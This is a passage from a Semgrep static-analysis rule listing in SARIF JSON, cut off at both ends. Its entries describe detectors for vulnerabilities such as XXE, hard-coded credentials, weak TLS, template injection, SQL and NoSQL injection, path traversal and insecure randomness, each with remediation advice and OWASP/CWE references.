(XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.schemafactory-xxe.schemafactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Square Access Token detected"},"help":{"markdown":"Square Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-square-access-token.detected-square-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Square Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-square-access-token.detected-square-access-token","id":"generic.secrets.security.detected-square-access-token.detected-square-access-token","name":"generic.secrets.security.detected-square-access-token.detected-square-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-square-access-token.detected-square-access-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret","id":"javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret","name":"javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TLS1.0 and TLS1.1 are deprecated and should not be used anymore. By default, NodeJS used TLSv1.2. So, TLS min version must not be downgrade to TLS1.0 or TLS1.1. Enforce TLS1.3 is highly recommended This rule checks TLS configuration only for PostgreSQL, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"help":{"markdown":"TLS1.0 and TLS1.1 are deprecated and should not be used anymore. By default, NodeJS used TLSv1.2. So, TLS min version must not be downgrade to TLS1.0 or TLS1.1. Enforce TLS1.3 is highly recommended This rule checks TLS configuration only for PostgreSQL, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version)\n - [https://node-postgres.com/features/ssl](https://node-postgres.com/features/ssl)\n - [https://nodejs.org/api/tls.html#tls_class_tls_tlssocket](https://nodejs.org/api/tls.html#tls_class_tls_tlssocket)\n - [https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options](https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options)\n - [https://nodejs.org/api/tls.html#tls_tls_default_min_version](https://nodejs.org/api/tls.html#tls_tls_default_min_version)\n","text":"TLS1.0 and TLS1.1 are deprecated and should not be used anymore. By default, NodeJS used TLSv1.2. So, TLS min version must not be downgrade to TLS1.0 or TLS1.1. Enforce TLS1.3 is highly recommended This rule checks TLS configuration only for PostgreSQL, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version","id":"javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version","name":"javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, AWS CloudWatch Log Group is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your log group in CloudWatch. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, AWS CloudWatch Log Group is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your log group in CloudWatch. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"By default, AWS CloudWatch Log Group is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your log group in CloudWatch. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted","id":"terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted","name":"terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data from `$REQ` is being compiled into the template, which can lead to a Server Side Template Injection (SSTI) vulnerability."},"help":{"markdown":"User data from `$REQ` is being compiled into the template, which can lead to a Server Side Template Injection (SSTI) vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-insecure-template-usage.express-insecure-template-usage)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"User data from `$REQ` is being compiled into the template, which can lead to a Server Side Template Injection (SSTI) vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-insecure-template-usage.express-insecure-template-usage","id":"javascript.express.security.express-insecure-template-usage.express-insecure-template-usage","name":"javascript.express.security.express-insecure-template-usage.express-insecure-template-usage","properties":{"precision":"very-high","tags":["CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-insecure-template-usage.express-insecure-template-usage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Django filters flagged with 'is_safe'. 'is_safe' tells Django not to apply escaping on the value returned by this filter (although the input is escaped). Used improperly, 'is_safe' could expose your application to cross-site scripting (XSS) vulnerabilities. Ensure this filter does not 1) add HTML characters, 2) remove characters, or 3) use external data in any way. Consider instead removing 'is_safe' and explicitly marking safe content with 'mark_safe()'."},"help":{"markdown":"Detected Django filters flagged with 'is_safe'. 'is_safe' tells Django not to apply escaping on the value returned by this filter (although the input is escaped). Used improperly, 'is_safe' could expose your application to cross-site scripting (XSS) vulnerabilities. Ensure this filter does not 1) add HTML characters, 2) remove characters, or 3) use external data in any way. Consider instead removing 'is_safe' and explicitly marking safe content with 'mark_safe()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe)\n - [https://docs.djangoproject.com/en/3.1/topics/security/#cross-site-scripting-xss-protection](https://docs.djangoproject.com/en/3.1/topics/security/#cross-site-scripting-xss-protection)\n - [https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping](https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping)\n - [https://stackoverflow.com/questions/7665512/why-use-is-safe](https://stackoverflow.com/questions/7665512/why-use-is-safe)\n","text":"Detected Django filters flagged with 'is_safe'. 'is_safe' tells Django not to apply escaping on the value returned by this filter (although the input is escaped). Used improperly, 'is_safe' could expose your application to cross-site scripting (XSS) vulnerabilities. Ensure this filter does not 1) add HTML characters, 2) remove characters, or 3) use external data in any way. Consider instead removing 'is_safe' and explicitly marking safe content with 'mark_safe()'."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe","id":"python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe","name":"python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n","text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true","id":"java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true","name":"java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"help":{"markdown":"RSA keys should be at least 2048 bits based on NIST recommendation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.weak-rsa.use-of-weak-rsa-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.weak-rsa.use-of-weak-rsa-key","id":"kotlin.lang.security.weak-rsa.use-of-weak-rsa-key","name":"kotlin.lang.security.weak-rsa.use-of-weak-rsa-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.weak-rsa.use-of-weak-rsa-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a Custom Expression ''$EXPRESSION'' calling ''as_sql(...).'' This could lead to SQL injection, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"help":{"markdown":"Detected a Custom Expression ''$EXPRESSION'' calling ''as_sql(...).'' This could lead to SQL injection, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.Func.as_sql](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.Func.as_sql)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"Detected a Custom Expression ''$EXPRESSION'' calling ''as_sql(...).'' This could lead to SQL injection, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql","id":"python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql","name":"python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri","id":"ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri","name":"ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django","id":"python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django","name":"python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"GCM IV/nonce is reused: encryption can be totally useless"},"help":{"markdown":"GCM IV/nonce is reused: encryption can be totally useless\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"GCM IV/nonce is reused: encryption can be totally useless"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse","id":"java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse","name":"java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse","properties":{"precision":"very-high","tags":["CWE-323: Reusing a Nonce, Key Pair in Encryption","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = ?', 'active')`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = ?', 'active')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli)\n - [https://docs.sqlalchemy.org/en/14/core/connections.html#sqlalchemy.engine.Connection.execute](https://docs.sqlalchemy.org/en/14/core/connections.html#sqlalchemy.engine.Connection.execute)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = ?', 'active')`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli","id":"python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli","name":"python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.boto3.security.hardcoded-token.hardcoded-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n - [https://bento.dev/checks/boto3/hardcoded-access-token/](https://bento.dev/checks/boto3/hardcoded-access-token/)\n - [https://aws.amazon.com/blogs/security/what-to-do-if-you-inadvertently-expose-an-aws-access-key/](https://aws.amazon.com/blogs/security/what-to-do-if-you-inadvertently-expose-an-aws-access-key/)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.boto3.security.hardcoded-token.hardcoded-token","id":"python.boto3.security.hardcoded-token.hardcoded-token","name":"python.boto3.security.hardcoded-token.hardcoded-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.boto3.security.hardcoded-token.hardcoded-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.pymongo-flask.pymongo-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/python.flask.db.pymongo-flask.pymongo-flask","id":"python.flask.db.pymongo-flask.pymongo-flask","name":"python.flask.db.pymongo-flask.pymongo-flask","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.pymongo-flask.pymongo-flask"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"help":{"markdown":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml)\n - [https://ktor.io/docs/development-mode.html#application-conf](https://ktor.io/docs/development-mode.html#application-conf)\n","text":"The application is running debug code or has debug mode enabled. This may expose sensitive information, like stack traces and environment variables, to attackers. It may also modify application behavior, potentially enabling attackers to bypass restrictions. To remediate this finding, ensure that the application's debug code and debug mode are disabled or removed from the production environment."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml","id":"kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml","name":"kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.active-debug-code.ktor-development-mode-yaml.ktor-development-mode-yaml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flags the use of a predictable random value from `scala.util.Random`. This can lead to vulnerabilities when used in security contexts, such as in a CSRF token, password reset token, or any other secret value. To fix this, use java.security.SecureRandom instead."},"help":{"markdown":"Flags the use of a predictable random value from `scala.util.Random`. This can lead to vulnerabilities when used in security contexts, such as in a CSRF token, password reset token, or any other secret value. To fix this, use java.security.SecureRandom instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.insecure-random.insecure-random)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Flags the use of a predictable random value from `scala.util.Random`. This can lead to vulnerabilities when used in security contexts, such as in a CSRF token, password reset token, or any other secret value. To fix this, use java.security.SecureRandom instead."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.insecure-random.insecure-random","id":"scala.lang.security.audit.insecure-random.insecure-random","name":"scala.lang.security.audit.insecure-random.insecure-random","properties":{"precision":"very-high","tags":["CWE-330: Use of Insufficiently Random Values","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.insecure-random.insecure-random"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'Fprintf' or similar writing to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"help":{"markdown":"Detected 'Fprintf' or similar writing to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected 'Fprintf' or similar writing to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter","id":"go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter","name":"go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-fprintf-to-responsewriter.no-fprintf-to-responsewriter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked 